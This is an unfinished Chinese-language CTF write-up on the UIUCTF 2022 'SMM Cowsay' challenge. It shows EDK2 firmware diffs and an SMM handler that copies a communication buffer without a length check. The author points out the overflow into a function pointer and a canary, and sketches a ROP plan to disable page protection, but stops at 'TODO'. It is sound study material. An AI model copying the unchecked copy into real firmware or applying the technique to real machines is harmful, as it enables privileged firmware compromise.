25
26
27
28
29
+
+ // Flag must not be seen
+ SmmSetMemoryAttributes (
+ 0x44440000,
+ EFI_PAGES_TO_SIZE(1),
+ EFI_MEMORY_RP
+ );
}

/**
diff --git a/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c b/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c
index 538394f239..0e5a6bf94b 100644
--- a/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c
+++ b/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c
@@ -1172,6 +1172,16 @@ SmiPFHandler (
CpuDeadLoop ();
goto Exit;
}
+
+ if ((PFAddress >= 0x44440000 && PFAddress < 0x44440000 + EFI_PAGES_TO_SIZE(1))) {
+ DumpCpuContext (InterruptType, SystemContext);
+ DEBUG ((DEBUG_ERROR, "Access to flag forbidden (0x%lx)!\n", PFAddress));
+ DEBUG_CODE (
+ DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip);
+ );
+ CpuDeadLoop ();
+ goto Exit;
+ }
}

binexec里的cowsay基本没改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
+VOID
+Cowsay (
+ IN CONST CHAR16 *Message
+ )
+{
+ EFI_SMM_COMMUNICATE_HEADER *Buffer;
+ UINTN MessageLen = StrLen(Message) * sizeof(CHAR16);
+
+ Buffer = AllocateRuntimeZeroPool(sizeof(*Buffer) + MessageLen);
+ if (!Buffer)
+ return;
+
+ Buffer->HeaderGuid = gEfiSmmCowsayCommunicationGuid;
+ Buffer->MessageLength = MessageLen;
+ CopyMem(Buffer->Data, Message, MessageLen);
+
+ mSmmCommunication->Communicate(
+ mSmmCommunication,
+ Buffer,
+ NULL
+ );
+
+ FreePool(Buffer);
+}

但是SmmCowsay里面代码发生了改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
+EFI_STATUS
+EFIAPI
+SmmCowsayHandler (
+ IN EFI_HANDLE DispatchHandle,
+ IN CONST VOID *Context OPTIONAL,
+ IN OUT VOID *CommBuffer OPTIONAL,
+ IN OUT UINTN *CommBufferSize OPTIONAL
+ )
+{
+ EFI_STATUS Status;
+ UINTN TempCommBufferSize;
+ UINT64 Canary;
+
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Enter\n"));
+
+ if (!CommBuffer || !CommBufferSize)
+ return EFI_SUCCESS;
+
+ TempCommBufferSize = *CommBufferSize;
+
+ if (!AsmRdRand64(&Canary))
+ return EFI_SUCCESS;
+ mDebugData.Canary = Canary;
+
+ Status = SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize); <==========一眼栈溢出
+ if (EFI_ERROR(Status))
+ goto out;
+
+ if (mDebugData.Canary != Canary) { <===========检查
+ // We probably overrun into libraries. Don't trust anything. Make triple fault here.
+ while (TRUE) {
+ __asm__ __volatile__ (
+ "push $0\n"
+ "push $0\n"
+ "lidt (%%rsp)\n"
+ "add $16,%%rsp\n"
+ "ud2\n"
+ : : : "memory"
+ );
+ }
+ }
+
+ if (mDebugData.Icebp) { <===========检查
+ // If you define WANT_ICEBP in QEMU you actually get a breakpoint right here.
+ // Have fun playing with SMM.
+ __asm__ __volatile__ (
+ ".byte 0xf1" // icebp / int1
+ : : : "memory"
+ );
+ }
+
+ SetMem(mDebugData.Message, sizeof(mDebugData.Message), 0); <===========清零
+
+ mDebugData.CowsayFunc(CommBuffer, TempCommBufferSize); <===========cowsay函数调用
+
+out:
+ DEBUG ((DEBUG_INFO, "SmmCowsay SmmCowsayHandler Exit\n"));
+
+ return EFI_SUCCESS;
+}

比较明显的一个栈溢出

1
SmmCopyMemToSmram(mDebugData.Message, CommBuffer, TempCommBufferSize);

commbuffer再次没做长度检查。此处mDebugData的结构体如下

1
2
3
4
5
6
7
+struct {
+ CHAR16 Message[200];
+ VOID EFIAPI (* volatile CowsayFunc)(IN CONST CHAR16 *Message, IN UINTN MessageLen);
+ BOOLEAN volatile Icebp;
+ UINT64 volatile Canary;
+} mDebugData;
+

输入400byte数据后可以溢出到后面的成员变量。首先想到的就是构造ROP链,把页表的保护关掉,设置cr0寄存器,然后读取。

TODO…….

参考

https://uefi.org/specs/UEFI/2.9_A

https://github.com/tianocore/edk2/

https://toh.necst.it/uiuctf/pwn/system/x86/rop/UIUCTF-2022-SMM-Cowsay/

https://github.com/tianocore/edk2/blob/7c0ad2c33810ead45b7919f8f8d0e282dae52e71/MdeModulePkg/Core